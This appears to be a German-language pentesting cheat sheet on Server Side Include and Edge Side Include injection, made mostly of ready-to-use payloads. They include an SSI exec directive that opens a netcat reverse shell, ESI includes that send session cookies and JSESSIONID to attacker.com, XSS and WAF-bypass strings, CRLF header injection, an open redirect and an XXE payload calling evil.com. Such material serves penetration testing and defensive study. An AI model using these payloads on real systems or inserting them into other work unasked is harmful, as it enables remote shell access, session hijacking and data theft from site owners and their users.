Server Side Inclusion/Edge Side Inclusion Injection

Reading time: 8 minutes

Server Side Inclusion Grundinformationen

(Einführung entnommen aus Apache-Dokumentation)

SSI (Server Side Includes) sind Direktiven, die in HTML-Seiten platziert und auf dem Server ausgewertet werden, während die Seiten bereitgestellt werden. Sie ermöglichen es Ihnen, dynamisch generierte Inhalte zu einer bestehenden HTML-Seite hinzuzufügen, ohne die gesamte Seite über ein CGI-Programm oder eine andere dynamische Technologie bereitstellen zu müssen.
Zum Beispiel könnten Sie eine Direktive in eine bestehende HTML-Seite einfügen, wie:

<!--#echo var="DATE_LOCAL" -->

Und wenn die Seite bereitgestellt wird, wird dieses Fragment ausgewertet und durch seinen Wert ersetzt:

Dienstag, 15-Jan-2013 19:28:54 EST

Die Entscheidung, wann SSI verwendet werden soll und wann die gesamte Seite von einem Programm generiert werden soll, hängt normalerweise davon ab, wie viel der Seite statisch ist und wie viel jedes Mal neu berechnet werden muss, wenn die Seite bereitgestellt wird. SSI ist eine großartige Möglichkeit, kleine Informationsstücke hinzuzufügen, wie die aktuelle Zeit - wie oben gezeigt. Aber wenn der Großteil Ihrer Seite zum Zeitpunkt der Bereitstellung generiert wird, müssen Sie nach einer anderen Lösung suchen.

Sie können das Vorhandensein von SSI ableiten, wenn die Webanwendung Dateien mit der Erweiterungs.shtml, .shtm oder .stm verwendet, aber das ist nicht der einzige Fall.

Ein typischer SSI-Ausdruck hat das folgende Format:

<!--#directive param="value" -->

Überprüfen

// Document name
<!--#echo var="DOCUMENT_NAME" -->
// Date
<!--#echo var="DATE_LOCAL" -->

// File inclusion
<!--#include virtual="/index.html" -->
// Including files (same directory)
<!--#include file="file_to_include.html" -->
// CGI Program results
<!--#include virtual="/cgi-bin/counter.pl" -->
// Including virtual files (same directory)
<!--#include virtual="file_to_include.html" -->
// Modification date of a file
<!--#flastmod file="index.html" -->

// Command exec
<!--#exec cmd="dir" -->
// Command exec
<!--#exec cmd="ls" -->
// Reverse shell
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->

// Print all variables
<!--#printenv -->
// Setting variables
<!--#set var="name" value="Rich" -->

Edge Side Inclusion

Es gibt ein Problem mit Caching-Informationen oder dynamischen Anwendungen, da ein Teil des Inhalts für das nächste Abrufen des Inhalts variieren kann. Dafür wird ESI verwendet, um mit ESI-Tags den dynamischen Inhalt anzugeben, der generiert werden muss, bevor die Cache-Version gesendet wird.
Wenn ein Angreifer in der Lage ist, ein ESI-Tag in den Cache-Inhalt einzufügen, könnte er in der Lage sein, willkürlichen Inhalt in das Dokument einzufügen, bevor es an die Benutzer gesendet wird.

ESI Detection

Die folgende Header in einer Antwort vom Server bedeutet, dass der Server ESI verwendet:

Surrogate-Control: content="ESI/1.0"

Wenn Sie diesen Header nicht finden können, könnte der Server trotzdem ESI verwenden.
Ein blinder Exploitationsansatz kann ebenfalls verwendet werden, da eine Anfrage beim Server des Angreifers ankommen sollte:

// Basic detection
hell<!--esi-->o
// If previous is reflected as "hello", it's vulnerable

// Blind detection
<esi:include src=http://attacker.com>

// XSS Exploitation Example
<esi:include src=http://attacker.com/XSSPAYLOAD.html>

// Cookie Stealer (bypass httpOnly flag)
<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>

// Introduce private local files (Not LFI per se)
<esi:include src="supersecret.txt">

// Valid for Akamai, sends debug information in the response
<esi:debug/>

ESI-Ausnutzung

GoSecure erstellt eine Tabelle, um mögliche Angriffe zu verstehen, die wir gegen verschiedene ESI-fähige Software ausprobieren können, abhängig von der unterstützten Funktionalität:

• Includes: Unterstützt die <esi:includes>-Direktive
• Vars: Unterstützt die <esi:vars>-Direktive. Nützlich zum Umgehen von XSS-Filtern
• Cookie: Dokumentencookies sind für die ESI-Engine zugänglich
• Upstream-Header erforderlich: Surrogatanwendungen verarbeiten ESI-Anweisungen nicht, es sei denn, die upstream-Anwendung stellt die Header bereit
• Host-Whitelist: In diesem Fall sind ESI-Integrationen nur von erlaubten Serverhosts möglich, was SSRF beispielsweise nur gegen diese Hosts möglich macht

XSS

Die folgende ESI-Direktive lädt eine beliebige Datei in die Antwort des Servers

<esi:include src=http://attacker.com/xss.html>

Umgehung des XSS-Schutzes des Clients

x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>

Use <!--esi--> to bypass WAFs:
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>

Steal Cookie

• Remote steal cookie

<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />

• Stehlen Sie das Cookie HTTP_ONLY mit XSS, indem Sie es in der Antwort reflektieren:

# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
# Reflect XSS (you can put '"><svg/onload=prompt(1)>' URL encoded and the URL encode eveyrhitng to send it in the HTTP request)
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->

# It's possible to put more complex JS code to steal cookies or perform actions

Private Local File

Verwechseln Sie dies nicht mit einer "Local File Inclusion":

<esi:include src="secret.txt">

CRLF

<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>

Open Redirect

Das Folgende wird einen Location-Header zur Antwort hinzufügen

<!--esi $add_header('Location','http://attacker.com') -->

Header hinzufügen

• Header in erzwungenem Request hinzufügen

<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>

• Fügen Sie einen Header in der Antwort hinzu (nützlich, um "Content-Type: text/json" in einer Antwort mit XSS zu umgehen)

<!--esi/$add_header('Content-Type','text/html')/-->

<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->

# Check the number of url_decode to know how many times you can URL encode the value

CRLF im Add-Header (CVE-2019-2438)

<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>

Akamai-Debug

Dies sendet Debug-Informationen, die in der Antwort enthalten sind:

<esi:debug/>

ESI + XSLT = XXE

Es ist möglich, die eXtensible Stylesheet Language Transformations (XSLT) Syntax in ESI zu verwenden, indem der Parameter dca Wert als xslt angegeben wird. Dies könnte es ermöglichen, XSLT zu missbrauchen, um eine XML External Entity Schwachstelle (XXE) zu erstellen und auszunutzen:

<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />

XSLT-Datei:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>

Überprüfen Sie die XSLT-Seite:

XSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Referenzen

• https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/
• https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/
• https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91

Brute-Force-Erkennungs-Liste

Auto_Wordlists/wordlists/ssi_esi.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub